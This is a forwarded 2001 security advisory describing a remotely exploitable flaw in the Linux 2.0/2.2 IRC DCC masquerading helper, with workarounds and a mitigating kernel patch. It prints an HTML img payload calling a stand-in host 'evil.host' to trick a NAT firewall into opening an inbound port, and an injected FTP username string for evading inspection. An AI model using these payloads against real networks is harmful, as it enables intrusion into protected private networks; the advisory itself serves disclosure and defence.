Fwd: [RAZOR] Linux kernel IP masquerading vulnerability
Thought this might be of quite some interest to LRP users...
>Date: Mon, 30 Jul 2001 12:49:51 -0400 (EDT)
>From: Michal Zalewski <lcamtuf@razor.bindview.com>
>X-Sender: lcamtuf@nimue.bos.bindview.com
>To: bugtraq@securityfocus.com
>Subject: [RAZOR] Linux kernel IP masquerading vulnerability
>X-Nmymbofr: Nir Orb Buk
>
>
>RAZOR Advisory
>
>Author:
>
> Michal Zalewski <lcamtuf@razor.bindview.com>
>
>Issue Date:
>
> July 30, 2001
>
>Topic:
>
> A remotely exploitable IP masquerading vulnerability in the Linux
> kernel can be used to penetrate protected private networks.
>
>Affected Platforms:
>
> Linux 2.0, Linux 2.2, and possibly other systems
>
>Details:
>
> There was a discussion last year that detailed exploiting NAT packet
> inspection mechanisms on Linux and other operating systems by forcing
> a client's browser or MUA software to send specific data patterns
> without the user's knowledge (see
> http://www.securityfocus.com/archive/82/50226) in order to open an
> inbound TCP port on the firewall. The original advisory by Mikael
> Olsson discussed the FTP masquerading helper vulnerability. When found
> in outbound traffic, the specific pattern sent by the client software
> is interpreted by the firewall as being a legitimate, user-initiated
> transfer request. Certain external systems are then temporarily
> allowed to initiate inbound connections to the location specified in
> the malicious packet by using the firewall as a packet forwarder.
>
> Appropriate (but not necessarily sufficient - see the later
> explainations) workarounds were incorporated in Linux kernels released
> after the original advisory and are now present in numerous firewall
> operating systems.
>
> Unfortunately, protocols other than those mentioned in the original
> discussions seem to be vulnerable as well. We found that IRC DCC
> helper (the Linux 2.2 ip_masq_irc module, and modules shipped with
> some other operating systems / firewalling software) can be exploited
> with
> This link is broken:
> <img src=" ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
>
> or another similar pattern, depending on the helper implementation
> details ("addr" is the internal machine's IP address as a decimal
> integer).
>
> This sequence can be crafted in an HTML e-mail or on a visited
> webpage. The attacker should listen on tcp port 6667 on the specified
> remote host ("evil.host") and generate valid FTP protocol responses.
> The attacker will then receive information about the port number on
> the firewall that will be forwarded into the protected network. See
> the discussion in the original advisory for more details on this
> attack.
>
>Workarounds:
>
> This new NAT server vulnerability related to DCC simply adds to the
> collection of similar vulnerabilities found in various other
> protocols, none of which have been fixed in any comprehensive way. In
> general, the following five types of workarounds might be used:
>
> 1) Configure the NAT server to only allow a certain range of ports in
> processed requests. This workaround (only ports above 1024 are
> allowed) is currently implemented by Linux and other vendors.
> Unfortunately, this does not stop attacks or scans against any of the
> other thousands of high-port services - among the most significant of
> these are NFS, X11, Microsoft SQL Server, various RPC services,
> various HTTP proxy/cache services, and various remote
> management/diagnostic services.
>
> 2) Have the firewall do more careful inspection of protocol traffic.
> This could identify and block noncompliant IRC client behavior, such
> as the behavior of an HTML e-mail client when accessing an ftp URL.
> Unfortunately, this requires very careful protocol tracking, and can
> be fooled by careful URL construction (e.g., passing the following
> string as the ftp username:
> "evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker") and
> response fragmentation, or by using a Java applet.
>
> 3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
> that asks for user verification before connecting to an unusual port
> (6667) or before accepting suspected forwarded connections. Suitable
> personal firewalls may not be available for every OS.
>
> 4) Research, design, and develop some way for the NAT server to ask
> the internal user whether he really requested an inbound port (e.g.,
> one-time challenge-response authentication).
>
> 5) Don't install helper modules on your NAT server. For any protocol
> that needs a helper, require users to deploy a tunnel instead.
>
>Vendor Response/Fix Information:
>
> Below is a patch against Linux 2.2.20pre kernel written by the IP
> masquerading subsystem maintainer, Juanjo Ciarlante
> <jjo@mendoza.gov.ar>. It is supposed to minimize potential impact
> caused by this vulnerability. Note that it does not completely fix the
> problem (see discussion above).
>
> Additionally, as suggested by Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>,
> it is possible to limit the potential impact by carefully setting
> output chain rules (note that forwarding chain is bypassed by IP
> current masquerading rules table).
>
>--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
>+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c Fri Jul 27 18:45:29 2001
>@@ -38,7 +38,12 @@
> * /etc/conf.modules (or /etc/modules.conf depending on your config)
> * where modload will pick it up should you use modload to load your
> * modules.
>- *
>+ *
>+ * Insecure "back" data channel opening
>+ * The helper does some trivial checks when opening a new DCC data
>+ * channel. Use module parameter
>+ * insecure=1
>+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
> */
>
> #include <linux/config.h>
>@@ -72,6 +77,9 @@
>
> MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
>
>+static int insecure=0;
>+MODULE_PARM(insecure, "i");
>+
>
> /*
> * List of supported DCC protocols
>@@ -110,6 +118,29 @@
> return 0;
> }
>
>+
>+/*
>+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
>+ *
>+ * The <1024 check and same source address just raise the
>+ * security "feeling" => they don't prevent a redirector listening
>+ * in same src address at a higher port; you should protect
>+ * your internal network with ipchains output rules anyway
>+ */
>+
>+static inline int masq_irc_out_check(const struct iphdr *iph, __u32
>data_saddr, __u16 data_sport) {
>+ int allow=1;
>+ /* Compatibility */
>+ if (insecure)
>+ goto out;
>+ /*
>+ * Ignore data channel back to other src addr, nor to port <
>1024
>+ */
>+ if (iph->saddr != data_saddr || data_sport < 1024)
>+ allow=0;
>+out:
>+ return allow;
>+}
> int
> masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct
> sk_buff **skb_p, __u32 maddr)
> {
>@@ -198,6 +229,11 @@
>
> s_port = simple_strtoul(data,&data,10);
> addr_end_p = data;
>+
>+ /* Simple validation */
>+ if (!masq_irc_out_check(iph, s_addr, s_port))
>+ /* We may just: return 0; */
>+ continue;
>
> /* Do we already have a port open
> for this client?
> * If so, use it (for DCC ACCEPT)